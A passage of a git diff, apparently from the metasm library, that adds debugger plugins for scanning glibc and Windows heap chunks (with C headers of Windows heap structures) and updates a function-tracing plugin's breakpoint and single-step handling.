+      ptr = ar.next
+      break if ptr == @main_arena_ptr
+    end
+  end
+
+  def del_fastbin(ar)
+    nfastbins = 10
+    nfastbins.times { |i|
+      ptr = ar.fastbinsy[i]
+      while ptr
+        @chunks.delete ptr+2*@ptsz
+        ptr = @cp.decode_c_ary('void *', 3, @dbg.memory, ptr)[2]
+      end
+    }
+  end
+end
+
+
+class WindowsHeap < Heap
+  attr_accessor :heaps
+
+  def scan_chunks
+    @hsz = @cp.sizeof(@cp.find_c_struct('_HEAP_ENTRY'))
+    @chunks = {}
+    each_heap { |ar| scan_heap(ar) }
+  end
+
+  # scan all chunks for cross-references (one chunk containing a pointer to some other chunk)
+  def scan_chunks_xr
+    @xrchunksto = {}
+    @xrchunksfrom = {}
+    each_heap { |ar| scan_heap_xr(ar) }
+  end
+
+  # scan chunks from a heap
+  def scan_heap(ar)
+    each_heap_segment(ar) { |p, l|
+      scan_heap_segment(p, l)
+    }
+    scan_frontend(ar)
+    scan_valloc(ar)
+  end
+
+  def scan_frontend(ar)
+    if ar.frontendheaptype == 1
+      laptr = ar.frontendheap
+      @chunks.delete laptr	# not a real (user) chunk
+      128.times {
+        la = @cp.decode_c_struct('_HEAP_LOOKASIDE', @dbg.memory, laptr)
+        free = la.listhead.flink
+        while free
+          @chunks.delete free
+          free = @cp.decode_c_struct('_LIST_ENTRY', @dbg.memory, free).flink
+        end
+        laptr += la.sizeof
+      }
+    end
+  end
+
+  def scan_valloc(ar)
+    each_listentry(ar.virtualallocdblocks, '_HEAP_VIRTUAL_ALLOC_ENTRY') { |va|
+      # Unusedbyte count stored in the BusyBlock.Size field
+      @chunks[va.stroff + va.sizeof] = va.CommitSize - va.Size
+    }
+  end
+
+  def scan_heap_segment(first, len)
+    off = 0
+    heapcpy = pagecache(first, len)
+    while off < len
+      he = @cp.decode_c_struct('_HEAP_ENTRY', heapcpy, off)
+      sz = he.Size*8
+      if he.Flags & 1 == 1
+        @chunks[first+off+@hsz] = sz - he.UnusedBytes
+      end
+      off += sz
+    end
+  end
+
+  def scan_heap_xr(ar)
+    each_heap_segment(ar) { |p, l|
+      scan_heap_segment_xr(p, l)
+    }
+  end
+
+  def scan_heap_segment_xr(first, len)
+    off = 0
+    heapcpy = pagecache(first, len)
+    while off < len
+      he = @cp.decode_c_struct('_HEAP_ENTRY', heapcpy, off)
+      sz = he.Size*8
+      ptr = first + off + @hsz
+      if he.Flags & 1 == 1 and csz = @chunks[ptr] and csz > 0
+        heapcpy[off + @hsz, csz].unpack('L*').each { |p|
+          if @chunks[p]
+            (@xrchunksto[ptr] ||= []) << p
+            (@xrchunksfrom[p] ||= []) << ptr
+          end
+        }
+      end
+      off += sz
+    end
+  end
+
+  # yields the _HEAP structure for all heaps
+  def each_heap
+    heaps.each { |a, l|
+      ar = @cp.decode_c_struct('_HEAP', @dbg.memory, a)
+      yield ar
+    }
+  end
+
+  # yields all [ptr, len] for allocated segments of a _HEAP
+  # this maps to the _HEAP_SEGMENT further subdivised to skip
+  # the _HEAP_UNCOMMMTTED_RANGE areas
+  # for the last chunk of the _HEAP_SEGMENT, only yield up to chunk_header
+  def each_heap_segment(ar)
+    ar.segments.to_array.compact.each { |a|
+      sg = @cp.decode_c_struct('_HEAP_SEGMENT', @dbg.memory, a)
+      skiplist = []
+      ptr = sg.uncommittedranges
+      while ptr
+        ucr = @cp.decode_c_struct('_HEAP_UNCOMMMTTED_RANGE', @dbg.memory, ptr)
+        skiplist << [ucr.Address, ucr.Size]
+        ptr = ucr.Next
+      end
+      ptr = sg.firstentry
+      # XXX lastentryinsegment == firstentry ???
+      # lastvalidentry = address of the end of the segment (may point to unmapped space)
+      ptrend = sg.lastvalidentry
+      skiplist.delete_if { |sa, sl| sa < ptr or sa + sl > ptrend }
+      skiplist << [ptrend, 1]
+      skiplist.sort.each { |sa, sl|
+        yield(ptr, sa-ptr)
+        ptr = sa + sl
+      }
+    }
+  end
+
+  # call with a LIST_ENTRY allocstruct, the target structure and LE offset in this structure
+  def each_listentry(le, st, off=0)
+    ptr0 = le.stroff
+    ptr = le.flink
+    while ptr != ptr0
+      yield @cp.decode_c_struct(st, @dbg.memory, ptr-off)
+      ptr = @cp.decode_c_struct('_LIST_ENTRY', @dbg.memory, ptr).flink
+    end
+  end
+end
+
+class Windows7Heap < WindowsHeap
+  # 4-byte xor key to decrypt the chunk headers
+  attr_accessor :chunkkey_size, :chunkkey_flags, :chunkkey_unusedbytes
+  def each_heap_segment(ar)
+    if ar.encodeflagmask != 0
+      @chunkkey_size = ar.encoding.size
+      @chunkkey_flags = ar.encoding.flags
+      @chunkkey_unusedbytes = ar.encoding.unusedbytes
+    else
+      @chunkkey_size = 0
+      @chunkkey_flags = 0
+      @chunkkey_unusedbytes = 0
+    end
+
+    each_listentry(ar.segmentlist, '_HEAP_SEGMENT', 0x10) { |sg|
+      skiplist = []
+      each_listentry(sg.ucrsegmentlist, '_HEAP_UCR_DESCRIPTOR', 8) { |ucr|
+        skiplist << [ucr.address, ucr.size]
+      }
+
+      ptr = sg.firstentry
+      ptrend = sg.lastvalidentry + @hsz
+      skiplist.delete_if { |sa, sl| sa < ptr or sa + sl > ptrend }
+      skiplist << [ptrend, 1]
+      skiplist.sort.each { |sa, sl|
+        yield(ptr, sa-ptr)
+        ptr = sa + sl
+      }
+    }
+  end
+
+  def scan_heap_segment(first, len)
+    off = 0
+    heapcpy = pagecache(first, len)
+    while off < len
+      he = @cp.decode_c_struct('_HEAP_ENTRY', heapcpy, off)
+      sz = (he.Size ^ @chunkkey_size)*8
+      if (he.Flags ^ @chunkkey_flags) & 1 == 1
+        @chunks[first+off+@hsz] = sz - (he.UnusedBytes ^ @chunkkey_unusedbytes)
+      end
+      off += sz
+    end
+  end
+
+  def scan_frontend(ar)
+    return if ar.frontendheaptype != 2
+    lfh = @cp.decode_c_struct('_LFH_HEAP', @dbg.memory, ar.frontendheap)
+    lfh.localdata[0].segmentinfo.to_array.each { |sinfo|
+      sinfo.cacheditems.to_array.each { |ssp|
+        next if not ssp
+        subseg = @cp.decode_c_struct('_HEAP_SUBSEGMENT', @dbg.memory, ssp)
+        scan_lfh_ss(subseg)
+      }
+    }
+  end
+
+  def scan_lfh_ss(subseg)
+    up = subseg.userblocks
+    return if not up
+    bs = subseg.blocksize
+    bc = subseg.blockcount
+    list = Array.new(bc) { |i| up + 0x10 + bs*8*i }
+
+    free = []
+    ptr = subseg.freeentryoffset
+    subseg.depth.times { 
+      free << (up + 8*ptr)
+      ptr = @dbg.memory[up + 8*ptr + 8, 2].unpack('v')[0]
+    }
+@foo ||= 0
+@foo += 1
+p @foo if @foo % 10 == 0
+
+    up += 0x10
+    list -= free
+    list.each { |p| @chunks[p+8] = bs*8 - (@cp.decode_c_struct('_HEAP_ENTRY', @dbg.memory, p).unusedbytes & 0x7f) }
+  end
+
+  def scan_chunks_xr
+    @xrchunksto = {}
+    @xrchunksfrom = {}
+    @chunks.each { |a, l|
+      pagecache(a, l).unpack('L*').each { |p|
+        if @chunks[p]
+          (@xrchunksto[a] ||= []) << p
+          (@xrchunksfrom[p] ||= []) << a
+        end
+      }
+    }
+  end
+end
+end
diff --git a/lib/metasm/samples/dbg-plugins/heapscan/winheap.h b/lib/metasm/samples/dbg-plugins/heapscan/winheap.h
new file mode 100644
index 0000000000..adcc7fb004
--- /dev/null
+++ b/lib/metasm/samples/dbg-plugins/heapscan/winheap.h
@@ -0,0 +1,174 @@
+typedef void VOID;
+typedef unsigned __int8  UINT8;
+typedef unsigned __int16 UINT16;
+typedef __int32 LONG32;
+typedef unsigned __int32 ULONG32;
+typedef unsigned __int64 UINT64;
+
+// pseudo struct, for the PEB heap list
+struct HEAPTABLE {
+	struct _HEAP *list[16];
+};
+
+struct _LIST_ENTRY {
+	struct _LIST_ENTRY *FLink;
+	struct _LIST_ENTRY *BLink;
+};
+
+union _SLIST_HEADER {
+	struct _LIST_ENTRY le;
+};
+
+typedef struct _HEAP_ENTRY             // 7 elements, 0x8 bytes (sizeof)
+{
+//              union                              // 2 elements, 0x4 bytes (sizeof)
+//              {
+//                  struct                         // 2 elements, 0x4 bytes (sizeof)
+//                  {
+/*0x000*/             UINT16       Size;
+/*0x002*/             UINT16       PreviousSize;
+//                  };
+///*0x000*/         VOID*        SubSegmentCode;
+//              };
+/*0x004*/     UINT8        SmallTagIndex;
+/*0x005*/     UINT8        Flags;
+/*0x006*/     UINT8        UnusedBytes;
+/*0x007*/     UINT8        SegmentIndex;
+}HEAP_ENTRY, *PHEAP_ENTRY;
+
+typedef struct _HEAP                                         // 36 elements, 0x588 bytes (sizeof)
+{
+/*0x000*/     struct _HEAP_ENTRY Entry;                                // 7 elements, 0x8 bytes (sizeof)
+/*0x008*/     ULONG32      Signature;
+/*0x00C*/     ULONG32      Flags;
+/*0x010*/     ULONG32      ForceFlags;
+/*0x014*/     ULONG32      VirtualMemoryThreshold;
+/*0x018*/     ULONG32      SegmentReserve;
+/*0x01C*/     ULONG32      SegmentCommit;
+/*0x020*/     ULONG32      DeCommitFreeBlockThreshold;
+/*0x024*/     ULONG32      DeCommitTotalFreeThreshold;
+/*0x028*/     ULONG32      TotalFreeSize;
+/*0x02C*/     ULONG32      MaximumAllocationSize;
+/*0x030*/     UINT16       ProcessHeapsListIndex;
+/*0x032*/     UINT16       HeaderValidateLength;
+/*0x034*/     VOID*        HeaderValidateCopy;
+/*0x038*/     UINT16       NextAvailableTagIndex;
+/*0x03A*/     UINT16       MaximumTagIndex;
+/*0x03C*/     struct _HEAP_TAG_ENTRY* TagEntries;
+/*0x040*/     struct _HEAP_UCR_SEGMENT* UCRSegments;
+/*0x044*/     struct _HEAP_UNCOMMMTTED_RANGE* UnusedUnCommittedRanges;
+/*0x048*/     ULONG32      AlignRound;
+/*0x04C*/     ULONG32      AlignMask;
+/*0x050*/     struct _LIST_ENTRY VirtualAllocdBlocks;                  // 2 elements, 0x8 bytes (sizeof)
+/*0x058*/     struct _HEAP_SEGMENT* Segments[64];
+	union                                                    // 2 elements, 0x10 bytes (sizeof)
+	{
+/*0x158*/         ULONG32      FreeListsInUseUlong[4];
+/*0x158*/         UINT8        FreeListsInUseBytes[16];
+	}u;
+	union                                                    // 2 elements, 0x2 bytes (sizeof)
+	{
+/*0x168*/         UINT16       FreeListsInUseTerminate;
+/*0x168*/         UINT16       DecommitCount;
+	}u2;
+/*0x16A*/     UINT16       AllocatorBackTraceIndex;
+/*0x16C*/     ULONG32      NonDedicatedListLength;
+/*0x170*/     VOID*        LargeBlocksIndex;
+/*0x174*/     struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries;
+/*0x178*/     struct _LIST_ENTRY FreeLists[128];
+/*0x578*/     struct _HEAP_LOCK* LockVariable;
+///*0x57C*/     FUNCT_0049_0C5F_CommitRoutine* CommitRoutine;
+/*0x57C*/     VOID* CommitRoutine;
+/*0x580*/     VOID*        FrontEndHeap;
+/*0x584*/     UINT16       FrontHeapLockCount;
+/*0x586*/     UINT8        FrontEndHeapType;
+/*0x587*/     UINT8        LastSegmentIndex;
+}HEAP, *PHEAP;
+
+typedef struct _HEAP_UNCOMMMTTED_RANGE    // 4 elements, 0x10 bytes (sizeof)
+{
+/*0x000*/     struct _HEAP_UNCOMMMTTED_RANGE* Next;
+/*0x004*/     ULONG32      Address;
+/*0x008*/     ULONG32      Size;
+/*0x00C*/     ULONG32      filler;
+}HEAP_UNCOMMMTTED_RANGE, *PHEAP_UNCOMMMTTED_RANGE;
+
+typedef struct _HEAP_ENTRY_EXTRA                  // 4 elements, 0x8 bytes (sizeof)
+{
+	union                                         // 2 elements, 0x8 bytes (sizeof)
+	{
+		struct                                    // 3 elements, 0x8 bytes (sizeof)
+		{
+/*0x000*/             UINT16       AllocatorBackTraceIndex;
+/*0x002*/             UINT16       TagIndex;
+/*0x004*/             ULONG32      Settable;
+		};
+/*0x000*/         UINT64       ZeroInit;
+	};
+}HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA;
+
+typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY // 5 elements, 0x20 bytes (sizeof)
+{
+/*0x000*/     struct _LIST_ENTRY Entry;            // 2 elements, 0x8 bytes (sizeof)
+/*0x008*/     struct _HEAP_ENTRY_EXTRA ExtraStuff; // 4 elements, 0x8 bytes (sizeof)
+/*0x010*/     ULONG32      CommitSize;
+/*0x014*/     ULONG32      ReserveSize;
+/*0x018*/     struct _HEAP_ENTRY BusyBlock;        // 7 elements, 0x8 bytes (sizeof)
+}HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY;
+
+
+typedef struct _HEAP_FREE_ENTRY        // 8 elements, 0x10 bytes (sizeof)
+{
+	union                              // 2 elements, 0x4 bytes (sizeof)
+	{
+		struct                         // 2 elements, 0x4 bytes (sizeof)
+		{
+/*0x000*/             UINT16       Size;
+/*0x002*/             UINT16       PreviousSize;
+		};
+/*0x000*/         VOID*        SubSegmentCode;
+	};
+/*0x004*/     UINT8        SmallTagIndex;
+/*0x005*/     UINT8        Flags;
+/*0x006*/     UINT8        UnusedBytes;
+/*0x007*/     UINT8        SegmentIndex;
+/*0x008*/     struct _LIST_ENTRY FreeList;       // 2 elements, 0x8 bytes (sizeof)
+}HEAP_FREE_ENTRY, *PHEAP_FREE_ENTRY;
+
+typedef struct _HEAP_LOOKASIDE       // 10 elements, 0x30 bytes (sizeof)
+{
+/*0x000*/     union _SLIST_HEADER ListHead;    // 4 elements, 0x8 bytes (sizeof)
+/*0x008*/     UINT16       Depth;
+/*0x00A*/     UINT16       MaximumDepth;
+/*0x00C*/     ULONG32      TotalAllocates;
+/*0x010*/     ULONG32      AllocateMisses;
+/*0x014*/     ULONG32      TotalFrees;
+/*0x018*/     ULONG32      FreeMisses;
+/*0x01C*/     ULONG32      LastTotalAllocates;
+/*0x020*/     ULONG32      LastAllocateMisses;
+/*0x024*/     ULONG32      Counters[2];
+/*0x02C*/     UINT8        _PADDING0_[0x4];
+}HEAP_LOOKASIDE, *PHEAP_LOOKASIDE;
+
+struct FRONTEND1 {
+	struct _HEAP_LOOKASIDE l[128];
+};
+
+typedef struct _HEAP_SEGMENT                           // 15 elements, 0x3C bytes (sizeof)
+{
+/*0x000*/     struct _HEAP_ENTRY Entry;                          // 7 elements, 0x8 bytes (sizeof)
+/*0x008*/     ULONG32      Signature;
+/*0x00C*/     ULONG32      Flags;
+/*0x010*/     struct _HEAP* Heap;
+/*0x014*/     ULONG32      LargestUnCommittedRange;
+/*0x018*/     VOID*        BaseAddress;
+/*0x01C*/     ULONG32      NumberOfPages;
+/*0x020*/     struct _HEAP_ENTRY* FirstEntry;
+/*0x024*/     struct _HEAP_ENTRY* LastValidEntry;
+/*0x028*/     ULONG32      NumberOfUnCommittedPages;
+/*0x02C*/     ULONG32      NumberOfUnCommittedRanges;
+/*0x030*/     struct _HEAP_UNCOMMMTTED_RANGE* UnCommittedRanges;
+/*0x034*/     UINT16       AllocatorBackTraceIndex;
+/*0x036*/     UINT16       Reserved;
+/*0x038*/     struct _HEAP_ENTRY* LastEntryInSegment;
+}HEAP_SEGMENT, *PHEAP_SEGMENT;
diff --git a/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h b/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h
new file mode 100644
index 0000000000..9358915856
--- /dev/null
+++ b/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h
@@ -0,0 +1,307 @@
+typedef void VOID;
+typedef unsigned __int8  UINT8;
+typedef unsigned __int16 UINT16, WCHAR;
+typedef __int32 LONG32;
+typedef unsigned __int32 ULONG32;
+typedef __int64 INT64;
+typedef unsigned __int64 UINT64;
+
+struct HEAPTABLE {
+	struct _HEAP *list[16];
+};
+
+struct _LIST_ENTRY {
+	struct _LIST_ENTRY *FLink;
+	struct _LIST_ENTRY *BLink;
+};
+
+typedef struct _SLIST_HEADER {
+	struct _SLIST_HEADER *Next;
+	UINT16       Depth;
+	UINT16       Sequence;
+} SLIST_HEADER, *PSLIST_HEADER;
+
+struct _SINGLE_LIST_ENTRY {
+	struct _SINGLE_LIST_ENTRY *Next;
+};
+
+
+typedef struct _HEAP_ENTRY {
+	VOID*        PreviousBlockPrivateData;
+	UINT16       Size;
+	UINT8        Flags;
+	UINT8        SmallTagIndex;
+	UINT16       PreviousSize;
+	union
+	{
+		UINT8        SegmentOffset;
+		UINT8        LFHFlags;
+	};
+	UINT8        UnusedBytes;
+} HEAP_ENTRY, *PHEAP_ENTRY;
+
+typedef struct _HEAP_COUNTERS
+{
+	ULONG32      TotalMemoryReserved;
+	ULONG32      TotalMemoryCommitted;
+	ULONG32      TotalMemoryLargeUCR;
+	ULONG32      TotalSizeInVirtualBlocks;
+	ULONG32      TotalSegments;
+	ULONG32      TotalUCRs;
+	ULONG32      CommittOps;
+	ULONG32      DeCommitOps;
+	ULONG32      LockAcquires;
+	ULONG32      LockCollisions;
+	ULONG32      CommitRate;
+	ULONG32      DecommittRate;
+	ULONG32      CommitFailures;
+	ULONG32      InBlockCommitFailures;
+	ULONG32      CompactHeapCalls;
+	ULONG32      CompactedUCRs;
+	ULONG32      AllocAndFreeOps;
+	ULONG32      InBlockDeccommits;
+	ULONG32      InBlockDeccomitSize;
+	ULONG32      HighWatermarkSize;
+	ULONG32      LastPolledSize;
+} HEAP_COUNTERS, *PHEAP_COUNTERS;
+
+typedef struct _HEAP_TUNING_PARAMETERS
+{
+	ULONG32      CommittThresholdShift;
+	ULONG32      MaxPreCommittThreshold;
+} HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS;
+
+typedef struct _HEAP_SEGMENT
+{
+	struct _HEAP_ENTRY Entry;
+	ULONG32      SegmentSignature;
+	ULONG32      SegmentFlags;
+	struct _LIST_ENTRY SegmentListEntry;
+	struct _HEAP* Heap;
+	VOID*        BaseAddress;
+	ULONG32      NumberOfPages;
+	struct _HEAP_ENTRY* FirstEntry;
+	struct _HEAP_ENTRY* LastValidEntry;
+	ULONG32      NumberOfUnCommittedPages;
+	ULONG32      NumberOfUnCommittedRanges;
+	UINT16       SegmentAllocatorBackTraceIndex;
+	UINT16       Reserved;
+	struct _LIST_ENTRY UCRSegmentList;
+} HEAP_SEGMENT, *PHEAP_SEGMENT;
+
+typedef struct _HEAP
+{
+	struct _HEAP_SEGMENT Segment;
+	ULONG32      Flags;
+	ULONG32      ForceFlags;
+	ULONG32      CompatibilityFlags;
+	ULONG32      EncodeFlagMask;
+	struct _HEAP_ENTRY Encoding;
+	ULONG32      PointerKey;
+	ULONG32      Interceptor;
+	ULONG32      VirtualMemoryThreshold;
+	ULONG32      Signature;
+	ULONG32      SegmentReserve;
+	ULONG32      SegmentCommit;
+	ULONG32      DeCommitFreeBlockThreshold;
+	ULONG32      DeCommitTotalFreeThreshold;
+	ULONG32      TotalFreeSize;
+	ULONG32      MaximumAllocationSize;
+	UINT16       ProcessHeapsListIndex;
+	UINT16       HeaderValidateLength;
+	VOID*        HeaderValidateCopy;
+	UINT16       NextAvailableTagIndex;
+	UINT16       MaximumTagIndex;
+	struct _HEAP_TAG_ENTRY* TagEntries;
+	struct _LIST_ENTRY UCRList;
+	ULONG32      AlignRound;
+	ULONG32      AlignMask;
+	struct _LIST_ENTRY VirtualAllocdBlocks;
+	struct _LIST_ENTRY SegmentList;
+	UINT16       AllocatorBackTraceIndex;
+	UINT8        _PADDING0_[0x2];
+	ULONG32      NonDedicatedListLength;
+	VOID*        BlocksIndex;
+	VOID*        UCRIndex;
+	struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries;
+	struct _LIST_ENTRY FreeLists;
+	struct _HEAP_LOCK* LockVariable;
+	VOID* CommitRoutine;
+	VOID*        FrontEndHeap;
+	UINT16       FrontHeapLockCount;
+	UINT8        FrontEndHeapType;
+	UINT8        _PADDING1_[0x1];
+	struct _HEAP_COUNTERS Counters;
+	struct _HEAP_TUNING_PARAMETERS TuningParameters;
+} HEAP, *PHEAP;
+
+typedef struct _HEAP_ENTRY_EXTRA
+{
+	union
+	{
+		struct
+		{
+			UINT16       AllocatorBackTraceIndex;
+			UINT16       TagIndex;
+			ULONG32      Settable;
+		};
+		UINT64       ZeroInit;
+	};
+} HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA;
+
+typedef struct _HEAP_FREE_ENTRY
+{
+	struct _HEAP_ENTRY Entry;
+	struct _LIST_ENTRY FreeList;
+} HEAP_FREE_ENTRY, *PHEAP_FREE_ENTRY;
+
+typedef struct _HEAP_LIST_LOOKUP
+{
+	struct _HEAP_LIST_LOOKUP* ExtendedLookup;
+	ULONG32      ArraySize;
+	ULONG32      ExtraItem;
+	ULONG32      ItemCount;
+	ULONG32      OutOfRangeItems;
+	ULONG32      BaseIndex;
+	struct _LIST_ENTRY* ListHead;
+	ULONG32*     ListsInUseUlong;
+	struct _LIST_ENTRY** ListHints;
+} HEAP_LIST_LOOKUP, *PHEAP_LIST_LOOKUP;
+
+typedef struct _HEAP_LOOKASIDE
+{
+	struct _SLIST_HEADER ListHead;
+	UINT16       Depth;
+	UINT16       MaximumDepth;
+	ULONG32      TotalAllocates;
+	ULONG32      AllocateMisses;
+	ULONG32      TotalFrees;
+	ULONG32      FreeMisses;
+	ULONG32      LastTotalAllocates;
+	ULONG32      LastAllocateMisses;
+	ULONG32      Counters[2];
+	UINT8        _PADDING0_[0x4];
+} HEAP_LOOKASIDE, *PHEAP_LOOKASIDE;
+
+typedef struct _INTERLOCK_SEQ
+{
+	union
+	{
+		struct
+		{
+			UINT16       Depth;
+			UINT16       FreeEntryOffset;
+			UINT8        _PADDING0_[0x4];
+		};
+		struct
+		{
+			ULONG32      OffsetAndDepth;
+			ULONG32      Sequence;
+		};
+		INT64        Exchg;
+	};
+}INTERLOCK_SEQ, *PINTERLOCK_SEQ;
+
+typedef struct _HEAP_TAG_ENTRY
+{
+	ULONG32      Allocs;
+	ULONG32      Frees;
+	ULONG32      Size;
+	UINT16       TagIndex;
+	UINT16       CreatorBackTraceIndex;
+	WCHAR        TagName[24];
+} HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY;
+
+typedef struct _HEAP_UCR_DESCRIPTOR
+{
+	struct _LIST_ENTRY ListEntry;
+	struct _LIST_ENTRY SegmentEntry;
+	VOID*        Address;
+	ULONG32      Size;
+} HEAP_UCR_DESCRIPTOR, *PHEAP_UCR_DESCRIPTOR;
+
+typedef struct _HEAP_USERDATA_HEADER
+{
+	union
+	{
+		struct _SINGLE_LIST_ENTRY SFreeListEntry;
+		struct _HEAP_SUBSEGMENT* SubSegment;
+	};
+	VOID*        Reserved;
+	ULONG32      SizeIndex;
+	ULONG32      Signature;
+} HEAP_USERDATA_HEADER, *PHEAP_USERDATA_HEADER;
+
+typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY
+{
+	struct _LIST_ENTRY Entry;
+	struct _HEAP_ENTRY_EXTRA ExtraStuff;
+	ULONG32      CommitSize;
+	ULONG32      ReserveSize;
+	struct _HEAP_ENTRY BusyBlock;
+} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY;
+
+struct _USER_MEMORY_CACHE_ENTRY {
+	ULONG32 Foo[4];
+};
+struct _HEAP_BUCKET {
+	ULONG32 Foo;
+};
+struct _HEAP_BUCKET_COUNTERS {
+	ULONG32 Foo[2];
+};
+
+typedef struct _HEAP_LOCAL_SEGMENT_INFO
+{
+	struct _HEAP_SUBSEGMENT* Hint;
+	struct _HEAP_SUBSEGMENT* ActiveSubsegment;
+	struct _HEAP_SUBSEGMENT* CachedItems[16];
+	struct _SLIST_HEADER SListHeader;
+	struct _HEAP_BUCKET_COUNTERS Counters;
+	struct _HEAP_LOCAL_DATA* LocalData;
+	ULONG32 LastOpSequence;
+	UINT16 BucketIndex;
+	UINT16 LastUsed;
+	ULONG32 Pad;
+} HEAP_LOCAL_SEGMENT_INFO, *PHEAP_LOCAL_SEGMENT_INFO;
+
+typedef struct _HEAP_LOCAL_DATA {
+	struct _SLIST_HEADER DeletedSubSegments;
+	struct _LFH_BLOCK_ZONE* CrtZone;
+	struct _LFH_HEAP* LowFragHeap;
+	ULONG32 Sequence;
+	struct _HEAP_LOCAL_SEGMENT_INFO SegmentInfo[128];
+} HEAP_LOCAL_DATA;
+
+typedef struct _HEAP_SUBSEGMENT
+{
+	struct _HEAP_LOCAL_SEGMENT_INFO* LocalInfo;
+	struct _HEAP_USERDATA_HEADER* UserBlocks;
+	struct _INTERLOCK_SEQ AggregateExchg;
+	UINT16       BlockSize;
+	UINT16       Flags;
+	UINT16       BlockCount;
+	UINT8        SizeIndex;
+	UINT8        AffinityIndex;
+	struct _SINGLE_LIST_ENTRY SFreeListEntry;
+	ULONG32      Lock;
+} HEAP_SUBSEGMENT, *PHEAP_SUBSEGMENT;
+
+typedef struct _LFH_HEAP
+{
+	ULONG32 Lock[6];
+	struct _LIST_ENTRY SubSegmentZones;
+	ULONG32 ZoneBlockSize;
+	VOID* Heap;
+	ULONG32 SegmentChange;
+	ULONG32 SegmentCreate;
+	ULONG32 SegmentInsertInFree;
+	ULONG32 SegmentDelete;
+	ULONG32 CacheAllocs;
+	ULONG32 CacheFrees;
+	ULONG32 SizeInCache;
+	ULONG32 RunInfo[3];
+	struct _USER_MEMORY_CACHE_ENTRY UserBlockCache[12];
+	struct _HEAP_BUCKET Buckets[128];
+	struct _HEAP_LOCAL_DATA LocalData[1];
+} LFH_HEAP;
diff --git a/lib/metasm/samples/dbg-plugins/trace_func.rb b/lib/metasm/samples/dbg-plugins/trace_func.rb
index cc3e18cf71..65bb0594d0 100644
--- a/lib/metasm/samples/dbg-plugins/trace_func.rb
+++ b/lib/metasm/samples/dbg-plugins/trace_func.rb
@@ -10,16 +10,31 @@
 # does not descend in subfunctions
 
 # setup the initial breakpoint at func start
-def trace_func(addr)
+def trace_func(addr, oneshot = false)
+  @trace_terminate = false
+  # distinguish different hits on the same function entry
   counter = 0
-  bp = bpx(addr) { |h|
+  bp = bpx(addr, oneshot) {
     counter += 1
-    id = [disassembler.normalize(addr), counter, @cpu.dbg_func_retaddr(self)]
+    id = [disassembler.normalize(addr), counter, func_retaddr]
     trace_func_newtrace(id)
     trace_func_block(id)
-    continue if h[:pre_state] == 'continue'
+    continue
   }
-  bp.action.call({}) if addr == pc
+  if addr == pc
+    del_bp bp if oneshot
+    bp.action.call
+  end
+end
+
+# start tracing now, and stop only when @trace_terminate is set
+def trace
+  @trace_subfuncs = true
+  @trace_terminate = false
+  id = [pc, 0, 0]
+  trace_func_newtrace(id)
+  trace_func_block(id)
+  continue
 end
 
 # we hit the beginning of a block we want to trace
@@ -30,9 +45,9 @@ def trace_func_block(id)
     if b.list.length == 1
       trace_func_blockend(id, blockaddr)
     else
-      bpx(b.list.last.address, true) { |h|
+      bpx(b.list.last.address, true) {
         finished = trace_func_blockend(id, blockaddr)
-        continue if h[:pre_state] == 'continue' and not finished
+        continue if not finished
       }
     end
   else
@@ -44,29 +59,32 @@ end
 # we are at the end of a traced block, find whats next
 def trace_func_blockend(id, blockaddr)
   if di = disassembler.di_at(pc)
-    if @cpu.dbg_end_stepout(self, di.address, di) and trace_func_istraceend(id, di)
+    if end_stepout(di) and trace_func_istraceend(id, di)
       # trace ends there
       trace_func_finish(id)
       return true
     elsif di.opcode.props[:saveip] and not trace_func_entersubfunc(id, di)
       # call to a subfunction
-      bpx(di.next_addr, true) { |h|
+      bpx(di.next_addr, true) {
         trace_func_block(id)
-        continue if h[:pre_state] == 'continue'
+        continue
       }
+      continue
     else
-      singlestep	# XXX would need a callback on singlestep completion (to avoid multithread/exception)
-      wait_target
-      newaddr = pc
-      trace_func_block(id)
+      singlestep {
+        newaddr = pc
+        trace_func_block(id)
 
-      trace_func_linkdasm(di.address, newaddr)
+        trace_func_linkdasm(di.address, newaddr)
+        continue
+      }
     end
   else
     # XXX should link in the dasm somehow
-    singlestep
-    wait_target
-    trace_func_block(id)
+    singlestep {
+      trace_func_block(id)
+      continue
+    }
   end
   false
 end
@@ -88,7 +106,7 @@ def trace_func_linkdasm(from_addr, new_addr)
   return if not di
 
   # is it a subfunction return ?
-  if @cpu.dbg_end_stepout(self, di.address, di) and cdi = (1..8).map { |i|
+  if end_stepout(di) and cdi = (1..8).map { |i|
         disassembler.di_at(new_addr - i)
       }.compact.find { |cdi_|
         cdi_.opcode.props[:saveip] and cdi_.next_addr == new_addr
@@ -148,7 +166,10 @@ def trace_subfuncs; @trace_subfuncs ||= false end
 # the tracer is on a end-of-func instruction, should the trace end ?
 def trace_func_istraceend(id, di)
   if trace_subfuncs
-    if target = disassembler.get_xrefs_x(di)[0]
+    if @trace_terminate
+      true
+    elsif id[2] == 0	# trace VS func_trace
+    elsif target = disassembler.get_xrefs_x(di)[0]
       # check the current return address against the one saved at trace start
       resolve(disassembler.normalize(target)) == id[2]
     end
@@ -179,7 +200,10 @@ end
 
 if gui
   gui.new_command('trace_func', 'trace execution inside a target function') { |arg| trace_func arg }
-  gui.new_command('trace_now', 'trace til the end of the current function') { trace_func pc ; gui.wrap_run { continue } }
+  gui.new_command('trace_func_once', 'trace one execution inside the target function') { |arg| trace_func arg, true }
+  gui.new_command('trace_now', 'trace til the end of the current function') { trace_func pc, true ; gui.wrap_run { continue } }
+  gui.new_command('trace', 'start tracing from the current pc until trace_stop') { trace }
+  gui.new_command('trace_stop', 'stop tracing') { @trace_terminate = true }
   gui.new_command('trace_subfunctions', 'define if the tracer should enter subfunctions') { |arg|
     case arg.strip
     when 'on', '1', 'yes', 'y'; @trace_subfuncs = true
diff --git a/lib/metasm/samples/disassemble-gui.rb b/lib/metasm/samples/disassemble-gui.rb
index c8a097a765..080b5e0745 100644
